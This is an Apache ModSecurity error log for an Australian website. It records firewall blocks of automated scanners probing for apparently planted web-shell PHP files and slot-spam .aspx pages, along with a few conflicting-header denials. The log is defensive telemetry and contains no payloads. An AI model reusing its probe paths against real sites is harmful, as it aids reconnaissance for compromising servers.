[Fri Apr 10 23:33:23.131144 2026] [:error] [pid 62769:tid 62789] [client 158.158.53.142:50138] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adkYQ8WsSnfLoB8ifjDGqwAAAlI"]
[Fri Apr 10 23:33:23.630673 2026] [:error] [pid 62651:tid 62676] [client 158.158.53.142:49484] [client 158.158.53.142] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file21.php"] [unique_id "adkYQzbAH0le57SIaqw6QgAAAdc"]
[Sat Apr 11 02:11:01.046524 2026] [:error] [pid 55451:tid 55467] [client 111.172.249.49:42875] [client 111.172.249.49] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adk9NXApxuyB7yCS5RkW3AAAAM4"]
[Sat Apr 11 02:13:04.520625 2026] [:error] [pid 21568:tid 21585] [client 62.84.185.69:22988] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "adk9sIiz5v_ljZxkpR_UoAAAAQ0"]
[Sat Apr 11 02:13:07.238211 2026] [:error] [pid 21706:tid 21712] [client 62.84.185.69:37596] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "adk9syGQ1M5d8fQSsLG1nAAAAAQ"]
[Sat Apr 11 02:13:09.820728 2026] [:error] [pid 21706:tid 21718] [client 62.84.185.69:37610] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "adk9tSGQ1M5d8fQSsLG1uAAAAAo"]
[Sat Apr 11 02:13:12.485971 2026] [:error] [pid 21569:tid 21657] [client 62.84.185.69:37626] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "adk9uHAvQTgvXJ6vHoqi7QAAAIw"]
[Sat Apr 11 02:13:15.099270 2026] [:error] [pid 21706:tid 21720] [client 62.84.185.69:30100] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "adk9uyGQ1M5d8fQSsLG13gAAAAw"]
[Sat Apr 11 02:13:17.797154 2026] [:error] [pid 21568:tid 21587] [client 62.84.185.69:30104] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "adk9vYiz5v_ljZxkpR_UuwAAAQ8"]
[Sat Apr 11 02:13:20.473081 2026] [:error] [pid 21568:tid 21587] [client 62.84.185.69:30106] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "adk9wIiz5v_ljZxkpR_UzAAAAQ8"]
[Sat Apr 11 03:21:05.916363 2026] [:error] [pid 21706:tid 21728] [client 43.156.202.34:34690] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "adlNoSGQ1M5d8fQSsLEBWwAAABQ"]
[Sat Apr 11 03:30:29.775336 2026] [:error] [pid 21569:tid 21656] [client 51.68.234.139:58644] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "adlP1XAvQTgvXJ6vHorEjwAAAIs"]
[Sat Apr 11 03:30:32.203930 2026] [:error] [pid 55451:tid 55473] [client 51.68.234.139:35170] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "adlP2HApxuyB7yCS5RlU-wAAANQ"]
[Sat Apr 11 03:30:34.592141 2026] [:error] [pid 21568:tid 21593] [client 51.68.234.139:35184] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "adlP2oiz5v_ljZxkpR8ClQAAARU"]
[Sat Apr 11 03:30:37.080820 2026] [:error] [pid 55451:tid 55473] [client 51.68.234.139:37144] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adlP3XApxuyB7yCS5RlVBQAAANQ"]
[Sat Apr 11 03:30:39.753853 2026] [:error] [pid 21706:tid 21710] [client 51.68.234.139:37160] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adlP3yGQ1M5d8fQSsLEMXAAAAAI"]
[Sat Apr 11 03:30:42.266787 2026] [:error] [pid 21570:tid 21685] [client 51.68.234.139:37172] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "adlP4jKs5t9xRSNL6cn4GgAAAEw"]
[Sat Apr 11 03:30:44.754103 2026] [:error] [pid 21706:tid 21720] [client 51.68.234.139:47394] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "adlP5CGQ1M5d8fQSsLEMjQAAAAw"]
[Sat Apr 11 03:30:47.221452 2026] [:error] [pid 21570:tid 21696] [client 51.68.234.139:47410] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/jili%20slot.aspx"] [unique_id "adlP5zKs5t9xRSNL6cn4HQAAAFY"]
[Sat Apr 11 03:30:49.680673 2026] [:error] [pid 21706:tid 21710] [client 51.68.234.139:47422] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20slot.aspx"] [unique_id "adlP6SGQ1M5d8fQSsLEMoAAAAAI"]
[Sat Apr 11 03:30:52.027489 2026] [:error] [pid 21706:tid 21711] [client 51.68.234.139:47434] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/joker%20vip.aspx"] [unique_id "adlP7CGQ1M5d8fQSsLEMrQAAAAM"]
[Sat Apr 11 03:30:54.477180 2026] [:error] [pid 21568:tid 21592] [client 51.68.234.139:47442] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "adlP7oiz5v_ljZxkpR8CuQAAARQ"]
[Sat Apr 11 03:30:56.812663 2026] [:error] [pid 21570:tid 21668] [client 51.68.234.139:52330] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lava%20slot.aspx"] [unique_id "adlP8DKs5t9xRSNL6cn4MgAAAEM"]
[Sat Apr 11 03:30:59.278604 2026] [:error] [pid 21568:tid 21591] [client 51.68.234.139:52336] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/mega%20slot.aspx"] [unique_id "adlP84iz5v_ljZxkpR8CxAAAARM"]
[Sat Apr 11 03:31:01.595952 2026] [:error] [pid 21570:tid 21672] [client 51.68.234.139:52342] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/metal%20slot.aspx"] [unique_id "adlP9TKs5t9xRSNL6cn4QwAAAEU"]
[Sat Apr 11 03:31:04.070673 2026] [:error] [pid 55451:tid 55462] [client 51.68.234.139:52352] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20168.aspx"] [unique_id "adlP-HApxuyB7yCS5RlVRgAAAMk"]
[Sat Apr 11 03:31:06.547671 2026] [:error] [pid 55451:tid 55465] [client 51.68.234.139:59684] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20auto.aspx"] [unique_id "adlP-nApxuyB7yCS5RlVUwAAAMw"]
[Sat Apr 11 03:31:09.020185 2026] [:error] [pid 55451:tid 55464] [client 51.68.234.139:59698] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "adlP_XApxuyB7yCS5RlVWAAAAMs"]
[Sat Apr 11 03:31:11.477455 2026] [:error] [pid 55451:tid 55473] [client 51.68.234.139:59704] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "adlP_3ApxuyB7yCS5RlVXwAAANQ"]
[Sat Apr 11 03:31:13.800488 2026] [:error] [pid 21706:tid 21720] [client 51.68.234.139:59716] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "adlQASGQ1M5d8fQSsLEM9wAAAAw"]
[Sat Apr 11 03:31:16.121814 2026] [:error] [pid 21706:tid 21715] [client 51.68.234.139:52320] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "adlQBCGQ1M5d8fQSsLEM_QAAAAc"]
[Sat Apr 11 03:31:18.598064 2026] [:error] [pid 55451:tid 55473] [client 51.68.234.139:52326] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "adlQBnApxuyB7yCS5RlVfgAAANQ"]
[Sat Apr 11 03:31:20.905504 2026] [:error] [pid 21706:tid 21720] [client 51.68.234.139:52342] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "adlQCCGQ1M5d8fQSsLENCAAAAAw"]
[Sat Apr 11 03:31:23.238220 2026] [:error] [pid 21570:tid 21689] [client 51.68.234.139:52344] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "adlQCzKs5t9xRSNL6cn4agAAAE8"]
[Sat Apr 11 03:31:25.696474 2026] [:error] [pid 21568:tid 21593] [client 51.68.234.139:45022] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "adlQDYiz5v_ljZxkpR8C6gAAARU"]
[Sat Apr 11 03:31:46.729175 2026] [:error] [pid 21706:tid 21709] [client 51.68.234.139:45026] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "adlQIiGQ1M5d8fQSsLENbwAAAAE"]
[Sat Apr 11 03:31:49.139542 2026] [:error] [pid 55451:tid 55455] [client 51.68.234.139:37868] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "adlQJXApxuyB7yCS5RlV6AAAAMI"]
[Sat Apr 11 04:23:51.408362 2026] [:error] [pid 33288:tid 33296] [client 51.107.88.105:33607] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adlcV2JmwJFFPEgRHfHXCwAAAMY"]
[Sat Apr 11 04:23:51.891799 2026] [:error] [pid 33173:tid 33255] [client 51.107.88.105:33614] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adlcV68109xRDP2izWiNuQAAAIo"]
[Sat Apr 11 04:23:52.366735 2026] [:error] [pid 33288:tid 33300] [client 51.107.88.105:33096] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adlcWGJmwJFFPEgRHfHXDgAAAMo"]
[Sat Apr 11 04:23:52.869462 2026] [:error] [pid 33173:tid 33268] [client 51.107.88.105:33114] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "adlcWK8109xRDP2izWiNuwAAAJc"]
[Sat Apr 11 04:23:53.341304 2026] [:error] [pid 33288:tid 33293] [client 51.107.88.105:33093] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "adlcWWJmwJFFPEgRHfHXEwAAAMM"]
[Sat Apr 11 04:23:53.979086 2026] [:error] [pid 33171:tid 33207] [client 51.107.88.105:22509] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "adlcWboqTMlo30hcVw8peQAAABU"]
[Sat Apr 11 04:23:54.471559 2026] [:error] [pid 33171:tid 33192] [client 51.107.88.105:33661] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "adlcWroqTMlo30hcVw8pewAAAAY"]
[Sat Apr 11 04:23:54.952253 2026] [:error] [pid 33173:tid 33256] [client 51.107.88.105:33123] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cdn3.php"] [unique_id "adlcWq8109xRDP2izWiNygAAAIs"]
[Sat Apr 11 04:23:55.427140 2026] [:error] [pid 33171:tid 33191] [client 51.107.88.105:33631] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlcW7oqTMlo30hcVw8pgAAAAAU"]
[Sat Apr 11 04:23:55.925993 2026] [:error] [pid 33171:tid 33190] [client 51.107.88.105:33091] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlcW7oqTMlo30hcVw8phAAAAAQ"]
[Sat Apr 11 04:23:56.432291 2026] [:error] [pid 33171:tid 33207] [client 51.107.88.105:33603] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlcXLoqTMlo30hcVw8piwAAABU"]
[Sat Apr 11 04:23:56.904781 2026] [:error] [pid 33172:tid 33228] [client 51.107.88.105:33637] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adlcXDn2G0IJw5EZY9kBBAAAAEo"]
[Sat Apr 11 04:23:57.369422 2026] [:error] [pid 33288:tid 33301] [client 51.107.88.105:33098] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "adlcXWJmwJFFPEgRHfHXGQAAAMs"]
[Sat Apr 11 04:23:57.911127 2026] [:error] [pid 33173:tid 33250] [client 51.107.88.105:33109] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "adlcXa8109xRDP2izWiNzwAAAIU"]
[Sat Apr 11 04:23:58.378968 2026] [:error] [pid 33171:tid 33210] [client 51.107.88.105:33656] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "adlcXroqTMlo30hcVw8pkgAAABg"]
[Sat Apr 11 04:23:58.847374 2026] [:error] [pid 33173:tid 33254] [client 51.107.88.105:33139] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/beerd.php"] [unique_id "adlcXq8109xRDP2izWiN1wAAAIk"]
[Sat Apr 11 04:23:59.321160 2026] [:error] [pid 33173:tid 33253] [client 51.107.88.105:33617] [client 51.107.88.105] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hhxc.php"] [unique_id "adlcX68109xRDP2izWiN2gAAAIg"]
